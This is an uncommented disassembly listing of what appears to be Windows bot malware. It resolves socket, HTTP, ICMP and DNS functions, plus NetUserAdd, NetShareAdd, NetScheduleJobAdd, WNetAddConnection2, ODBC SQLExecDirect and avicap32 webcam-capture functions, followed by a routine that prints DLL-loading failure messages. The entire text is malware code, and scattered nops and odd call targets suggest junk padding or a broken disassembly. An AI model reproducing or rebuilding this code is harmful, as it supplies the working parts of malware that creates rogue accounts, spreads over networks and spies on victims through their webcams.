		mov	dword_4E15D0, eax
		push	offset aBitblt	; "BitBlt"
		push	[ebp+var_28]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1748, eax
		push	offset aDeletedc ; "DeleteDC"
		push	[ebp+var_28]
		call	near ptr 27F0281h
		nop
		mov	dword_4E15BC, eax
		push	offset aDeleteobject ; "DeleteObject"
		push	[ebp+var_28]
		nop
		call	near ptr 27F0281h
		mov	dword_4E165C, eax
		cmp	dword_4E16EC, 0
		jz	short loc_40B771
		cmp	dword_4E1744, 0
		jz	short loc_40B771
		cmp	dword_4E174C, 0
		jz	short loc_40B771
		cmp	dword_4E1708, 0
		jz	short loc_40B771
		cmp	dword_4E1624, 0
		jz	short loc_40B771
		cmp	dword_4E15D0, 0
		jz	short loc_40B771
		cmp	dword_4E1748, 0
		jz	short loc_40B771
		cmp	dword_4E15BC, 0
		jz	short loc_40B771
		cmp	dword_4E165C, 0
		jnz	short loc_40B77B


loc_40B771:				; CODE XREF: sub_40B0C5+662j
					; sub_40B0C5+66Bj ...
		mov	dword_4E17D8, 1


loc_40B77B:				; CODE XREF: sub_40B0C5+6AAj
		jmp	short loc_40B792
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B0C5+5AAj
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E17DC, eax
		mov	dword_4E17D8, 1


loc_40B792:				; CODE XREF: sub_40B0C5:loc_40B77Bj
		push	offset aWs2_32_dll ; "ws2_32.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40BB33
		push	offset aWsastartup ; "WSAStartup"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1670, eax
		push	offset aWsasocketa ; "WSASocketA"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E17A4, eax
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1610, eax
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E15EC, eax
		push	offset aWsaioctl ; "WSAIoctl"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16AC, eax
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1694, eax
		push	offset aWsacleanup ; "WSACleanup"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1658, eax
		push	offset aSocket	; "socket"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1780, eax
		push	offset aIoctlsocket ; "ioctlsocket"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E179C, eax
		push	offset aConnect	; "connect"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16A8, eax
		push	offset aInet_ntoa ; "inet_ntoa"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E178C, eax
		push	offset aInet_addr ; "inet_addr"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1740, eax
		push	offset aHtons	; "htons"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1700, eax
		push	offset aHtonl	; "htonl"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16FC, eax
		push	offset aNtohs	; "ntohs"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1630, eax
		push	offset aNtohl	; "ntohl"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1628, eax
		push	offset aSend_0	; "send"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1750, eax
		push	offset aSendto	; "sendto"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1764, eax
		push	offset aRecv	; "recv"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1718, eax
		push	offset aRecvfrom ; "recvfrom"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E16D8, eax
		push	offset aBind	; "bind"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E172C, eax
		push	offset aSelect	; "select"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16E8, eax
		push	offset aListen	; "listen"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1728, eax
		push	offset aAccept	; "accept"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1794, eax
		push	offset aSetsockopt ; "setsockopt"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E16E0, eax
		push	offset aGetsockname ; "getsockname"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16A4, eax
		push	offset aGethostname ; "gethostname"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1714, eax
		push	offset aGethostbyname ;	"gethostbyname"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1784, eax
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E16B8, eax
		push	offset aGetpeername ; "getpeername"
		push	[ebp+var_10]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1654, eax
		push	offset aClosesocket ; "closesocket"
		push	[ebp+var_10]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1798, eax
		cmp	dword_4E1670, 0
		jz	loc_40BB27
		cmp	dword_4E17A4, 0
		jz	loc_40BB27
		cmp	dword_4E1610, 0
		jz	loc_40BB27
		cmp	dword_4E16AC, 0
		jz	loc_40BB27
		cmp	dword_4E1694, 0
		jz	loc_40BB27
		cmp	dword_4E1658, 0
		jz	loc_40BB27
		cmp	dword_4E1780, 0
		jz	loc_40BB27
		cmp	dword_4E179C, 0
		jz	loc_40BB27
		cmp	dword_4E16A8, 0
		jz	loc_40BB27
		cmp	dword_4E178C, 0
		jz	loc_40BB27
		cmp	dword_4E1740, 0
		jz	loc_40BB27
		cmp	dword_4E1700, 0
		jz	loc_40BB27
		cmp	dword_4E16FC, 0
		jz	loc_40BB27
		cmp	dword_4E1630, 0
		jz	short loc_40BB27
		cmp	dword_4E1750, 0
		jz	short loc_40BB27
		cmp	dword_4E1764, 0
		jz	short loc_40BB27
		cmp	dword_4E1718, 0
		jz	short loc_40BB27
		cmp	dword_4E16D8, 0
		jz	short loc_40BB27
		cmp	dword_4E172C, 0
		jz	short loc_40BB27
		cmp	dword_4E16E8, 0
		jz	short loc_40BB27
		cmp	dword_4E1728, 0
		jz	short loc_40BB27
		cmp	dword_4E1794, 0
		jz	short loc_40BB27
		cmp	dword_4E16E0, 0
		jz	short loc_40BB27
		cmp	dword_4E16A4, 0
		jz	short loc_40BB27
		cmp	dword_4E1714, 0
		jz	short loc_40BB27
		cmp	dword_4E1784, 0
		jz	short loc_40BB27
		cmp	dword_4E16B8, 0
		jz	short loc_40BB27
		cmp	dword_4E1798, 0
		jnz	short loc_40BB31


loc_40BB27:				; CODE XREF: sub_40B0C5+939j
					; sub_40B0C5+946j ...
		mov	dword_4E17E0, 1


loc_40BB31:				; CODE XREF: sub_40B0C5+A60j
		jmp	short loc_40BB48
; ---------------------------------------------------------------------------


loc_40BB33:				; CODE XREF: sub_40B0C5+6DFj
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E17E4, eax
		mov	dword_4E17E0, 1


loc_40BB48:				; CODE XREF: sub_40B0C5:loc_40BB31j
		push	offset aWininet_dll ; "wininet.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	loc_40BCB5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	[ebp+var_20]
		call	near ptr 27F0281h
		nop
		mov	dword_4E163C, eax
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	[ebp+var_20]
		call	near ptr 27F0281h
		nop
		mov	dword_4E15C4, eax
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	[ebp+var_20]
		call	near ptr 27F0281h
		nop
		mov	dword_4E16C8, eax
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	[ebp+var_20]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1674, eax
		push	offset aInternetconnec ; "InternetConnectA"
		push	[ebp+var_20]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16D4, eax
		push	offset aInternetopena ;	"InternetOpenA"
		push	[ebp+var_20]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1698, eax
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	[ebp+var_20]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1604, eax
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	[ebp+var_20]
		nop
		call	near ptr 27F0281h
		mov	dword_4E15FC, eax
		push	offset aInternetreadfi ; "InternetReadFile"
		push	[ebp+var_20]
		call	near ptr 27F0281h
		nop
		mov	dword_4E160C, eax
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	[ebp+var_20]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1734, eax
		cmp	dword_4E163C, 0
		jz	short loc_40BC78
		cmp	dword_4E15C4, 0
		jz	short loc_40BC78
		cmp	dword_4E16C8, 0
		jz	short loc_40BC78
		cmp	dword_4E1674, 0
		jz	short loc_40BC78
		cmp	dword_4E16D4, 0
		jz	short loc_40BC78
		cmp	dword_4E1698, 0
		jz	short loc_40BC78
		cmp	dword_4E1604, 0
		jz	short loc_40BC78
		cmp	dword_4E15FC, 0
		jz	short loc_40BC78
		cmp	dword_4E160C, 0
		jz	short loc_40BC78
		cmp	dword_4E1734, 0
		jnz	short loc_40BC82


loc_40BC78:				; CODE XREF: sub_40B0C5+B60j
					; sub_40B0C5+B69j ...
		mov	dword_4E17E8, 1


loc_40BC82:				; CODE XREF: sub_40B0C5+BB1j
		cmp	dword_4E1698, 0
		jz	short loc_40BCB3
		push	0
		push	0
		push	0
		push	0
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	dword_4E1698	; InternetOpenA
		mov	dword_4E16B0, eax
		cmp	dword_4E16B0, 0
		jnz	short loc_40BCB3
		and	dword_4E16B0, 0


loc_40BCB3:				; CODE XREF: sub_40B0C5+BC4j
					; sub_40B0C5+BE5j
		jmp	short loc_40BCD1
; ---------------------------------------------------------------------------


loc_40BCB5:				; CODE XREF: sub_40B0C5+A95j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E17EC, eax
		mov	dword_4E17E8, 1
		and	dword_4E16B0, 0


loc_40BCD1:				; CODE XREF: sub_40B0C5:loc_40BCB3j
		push	offset aIcmp_dll ; "icmp.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jz	short loc_40BD45
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	[ebp+var_38]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1688, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	[ebp+var_38]
		call	near ptr 27F0281h
		nop
		mov	dword_4E17B8, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	[ebp+var_38]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1618, eax
		cmp	dword_4E1688, 0
		jz	short loc_40BD39
		cmp	dword_4E17B8, 0
		jz	short loc_40BD39
		cmp	dword_4E1618, 0
		jnz	short loc_40BD43


loc_40BD39:				; CODE XREF: sub_40B0C5+C60j
					; sub_40B0C5+C69j
		mov	dword_4E17F0, 1


loc_40BD43:				; CODE XREF: sub_40B0C5+C72j
		jmp	short loc_40BD5A
; ---------------------------------------------------------------------------


loc_40BD45:				; CODE XREF: sub_40B0C5+C1Ej
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E17F4, eax
		mov	dword_4E17F0, 1


loc_40BD5A:				; CODE XREF: sub_40B0C5:loc_40BD43j
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	loc_40BEC5
		push	offset aNetshareadd ; "NetShareAdd"
		push	[ebp+var_8]
		call	near ptr 27F0281h
		nop
		mov	dword_4E15F4, eax
		push	offset aNetsharedel ; "NetShareDel"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E15CC, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1644, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1678, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1790, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E162C, eax
		push	offset aNetuseradd ; "NetUserAdd"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E15D8, eax
		push	offset aNetuserdel ; "NetUserDel"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E15C8, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1660, eax
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1758, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1710, eax
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	[ebp+var_8]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1634, eax
		cmp	dword_4E15F4, 0
		jz	short loc_40BEB9
		cmp	dword_4E15CC, 0
		jz	short loc_40BEB9
		cmp	dword_4E1644, 0
		jz	short loc_40BEB9
		cmp	dword_4E1678, 0
		jz	short loc_40BEB9
		cmp	dword_4E1790, 0
		jz	short loc_40BEB9
		cmp	dword_4E162C, 0
		jz	short loc_40BEB9
		cmp	dword_4E15D8, 0
		jz	short loc_40BEB9
		cmp	dword_4E15C8, 0
		jz	short loc_40BEB9
		cmp	dword_4E1660, 0
		jz	short loc_40BEB9
		cmp	dword_4E1758, 0
		jz	short loc_40BEB9
		cmp	dword_4E1710, 0
		jnz	short loc_40BEC3


loc_40BEB9:				; CODE XREF: sub_40B0C5+D98j
					; sub_40B0C5+DA1j ...
		mov	dword_4E17F8, 1


loc_40BEC3:				; CODE XREF: sub_40B0C5+DF2j
		jmp	short loc_40BEDA
; ---------------------------------------------------------------------------


loc_40BEC5:				; CODE XREF: sub_40B0C5+CA7j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E17FC, eax
		mov	dword_4E17F8, 1


loc_40BEDA:				; CODE XREF: sub_40B0C5:loc_40BEC3j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	near ptr 27F0000h
		nop
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	short loc_40BF32
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	[ebp+var_30]
		nop
		call	near ptr 27F0281h
		mov	dword_4E161C, eax
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	[ebp+var_30]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16F8, eax
		cmp	dword_4E161C, 0
		jz	short loc_40BF26
		cmp	dword_4E16F8, 0
		jnz	short loc_40BF30


loc_40BF26:				; CODE XREF: sub_40B0C5+E56j
		mov	dword_4E1800, 1


loc_40BF30:				; CODE XREF: sub_40B0C5+E5Fj
		jmp	short loc_40BF47
; ---------------------------------------------------------------------------


loc_40BF32:				; CODE XREF: sub_40B0C5+E27j
		call	near ptr 27B0F7Fh
		nop
		mov	dword_4E1804, eax
		mov	dword_4E1800, 1


loc_40BF47:				; CODE XREF: sub_40B0C5:loc_40BF30j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40BF9F
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	[ebp+var_C]
		nop
		call	near ptr 27F0281h
		mov	dword_4E177C, eax
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	[ebp+var_C]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1778, eax
		cmp	dword_4E177C, 0
		jz	short loc_40BF93
		cmp	dword_4E1778, 0
		jnz	short loc_40BF9D


loc_40BF93:				; CODE XREF: sub_40B0C5+EC3j
		mov	dword_4E1808, 1


loc_40BF9D:				; CODE XREF: sub_40B0C5+ECCj
		jmp	short loc_40BFB4
; ---------------------------------------------------------------------------


loc_40BF9F:				; CODE XREF: sub_40B0C5+E94j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E180C, eax
		mov	dword_4E1808, 1


loc_40BFB4:				; CODE XREF: sub_40B0C5:loc_40BF9Dj
		push	offset aMpr_dll	; "mpr.dll"
		call	near ptr 27F0000h
		nop
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_40C044
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_14]
		call	near ptr 27F0281h
		nop
		mov	dword_4E17A8, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_14]
		nop
		call	near ptr 27F0281h
		mov	dword_4E17A0, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_14]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1768, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_14]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1638, eax
		cmp	dword_4E17A8, 0
		jz	short loc_40C038
		cmp	dword_4E17A0, 0
		jz	short loc_40C038
		cmp	dword_4E1768, 0
		jz	short loc_40C038
		cmp	dword_4E1638, 0
		jnz	short loc_40C042


loc_40C038:				; CODE XREF: sub_40B0C5+F56j
					; sub_40B0C5+F5Fj ...
		mov	dword_4E1810, 1


loc_40C042:				; CODE XREF: sub_40B0C5+F71j
		jmp	short loc_40C059
; ---------------------------------------------------------------------------


loc_40C044:				; CODE XREF: sub_40B0C5+F01j
		call	near ptr 27B0F7Fh
		nop
		mov	dword_4E1814, eax
		mov	dword_4E1810, 1


loc_40C059:				; CODE XREF: sub_40B0C5:loc_40C042j
		push	offset aShell32_dll ; "shell32.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_40C0B1
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	[ebp+var_1C]
		nop
		call	near ptr 27F0281h
		mov	dword_4E166C, eax
		push	offset aShchangenotify ; "SHChangeNotify"
		push	[ebp+var_1C]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1774, eax
		cmp	dword_4E166C, 0
		jz	short loc_40C0A5
		cmp	dword_4E1774, 0
		jnz	short loc_40C0AF


loc_40C0A5:				; CODE XREF: sub_40B0C5+FD5j
		mov	dword_4E1818, 1


loc_40C0AF:				; CODE XREF: sub_40B0C5+FDEj
		jmp	short loc_40C0C6
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40B0C5+FA6j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E181C, eax
		mov	dword_4E1818, 1


loc_40C0C6:				; CODE XREF: sub_40B0C5:loc_40C0AFj
		push	offset aOdbc32_dll ; "odbc32.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	loc_40C192
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	[ebp+var_2C]
		call	near ptr 27F0281h
		nop
		mov	dword_4E173C, eax
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	[ebp+var_2C]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1788, eax
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	[ebp+var_2C]
		nop
		call	near ptr 27F0281h
		mov	dword_4E16C4, eax
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	[ebp+var_2C]
		call	near ptr 27F0281h
		nop
		mov	dword_4E167C, eax
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	[ebp+var_2C]
		call	near ptr 27F0281h
		nop
		mov	dword_4E171C, eax
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	[ebp+var_2C]
		nop
		call	near ptr 27F0281h
		mov	dword_4E168C, eax
		cmp	dword_4E173C, 0
		jz	short loc_40C186
		cmp	dword_4E1788, 0
		jz	short loc_40C186
		cmp	dword_4E16C4, 0
		jz	short loc_40C186
		cmp	dword_4E167C, 0
		jz	short loc_40C186
		cmp	dword_4E171C, 0
		jz	short loc_40C186
		cmp	dword_4E168C, 0
		jnz	short loc_40C190


loc_40C186:				; CODE XREF: sub_40B0C5+1092j
					; sub_40B0C5+109Bj ...
		mov	dword_4E1820, 1


loc_40C190:				; CODE XREF: sub_40B0C5+10BFj
		jmp	short loc_40C1A7
; ---------------------------------------------------------------------------


loc_40C192:				; CODE XREF: sub_40B0C5+1013j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E1824, eax
		mov	dword_4E1820, 1


loc_40C1A7:				; CODE XREF: sub_40B0C5:loc_40C190j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	near ptr 27F0000h
		nop
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_40C1FF
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	[ebp+var_18]
		nop
		call	near ptr 27F0281h
		mov	dword_4E1650, eax
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	[ebp+var_18]
		call	near ptr 27F0281h
		nop
		mov	dword_4E1730, eax
		cmp	dword_4E1650, 0
		jz	short loc_40C1F3
		cmp	dword_4E1730, 0
		jnz	short loc_40C1FD


loc_40C1F3:				; CODE XREF: sub_40B0C5+1123j
		mov	dword_4E1828, 1


loc_40C1FD:				; CODE XREF: sub_40B0C5+112Cj
		jmp	short loc_40C214
; ---------------------------------------------------------------------------


loc_40C1FF:				; CODE XREF: sub_40B0C5+10F4j
		nop
		call	near ptr 27B0F7Fh
		mov	dword_4E182C, eax
		mov	dword_4E1828, 1


loc_40C214:				; CODE XREF: sub_40B0C5:loc_40C1FDj
		push	1
		pop	eax
		leave
		retn
sub_40B0C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C219	proc near		; CODE XREF: sub_4021E5+3071p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword_4E17C0, 0
		jz	short loc_40C25F
		push	dword_4E17C4
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C25F:				; CODE XREF: sub_40C219+10j
		cmp	dword_4E17C8, 0
		jz	short loc_40C29C
		push	dword_4E17CC
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C29C:				; CODE XREF: sub_40C219+4Dj
		cmp	dword_4E17D0, 0
		jz	short loc_40C2D9
		push	dword_4E17D4
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C2D9:				; CODE XREF: sub_40C219+8Aj
		cmp	dword_4E17D8, 0
		jz	short loc_40C316
		push	dword_4E17DC
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C316:				; CODE XREF: sub_40C219+C7j
		cmp	dword_4E17E0, 0
		jz	short loc_40C353
		push	dword_4E17E4
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C353:				; CODE XREF: sub_40C219+104j
		cmp	dword_4E17E8, 0
		jz	short loc_40C390
		push	dword_4E17EC
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C390:				; CODE XREF: sub_40C219+141j
		cmp	dword_4E17F0, 0
		jz	short loc_40C3CD
		push	dword_4E17F4
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C3CD:				; CODE XREF: sub_40C219+17Ej
		cmp	dword_4E17F8, 0
		jz	short loc_40C40A
		push	dword_4E17FC
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C40A:				; CODE XREF: sub_40C219+1BBj
		cmp	dword_4E1800, 0
		jz	short loc_40C447
		push	dword_4E1804
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C447:				; CODE XREF: sub_40C219+1F8j
		cmp	dword_4E1808, 0
		jz	short loc_40C484
		push	dword_4E180C
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C484:				; CODE XREF: sub_40C219+235j
		cmp	dword_4E1810, 0
		jz	short loc_40C4C1
		push	dword_4E1814
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C4C1:				; CODE XREF: sub_40C219+272j
		cmp	dword_4E1818, 0
		jz	short loc_40C4FE
		push	dword_4E181C
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C4FE:				; CODE XREF: sub_40C219+2AFj
		cmp	dword_4E1820, 0
		jz	short loc_40C53B
		push	dword_4E1824
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C219+2ECj
		cmp	dword_4E1828, 0
		jz	short loc_40C578
		push	dword_4E182C
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
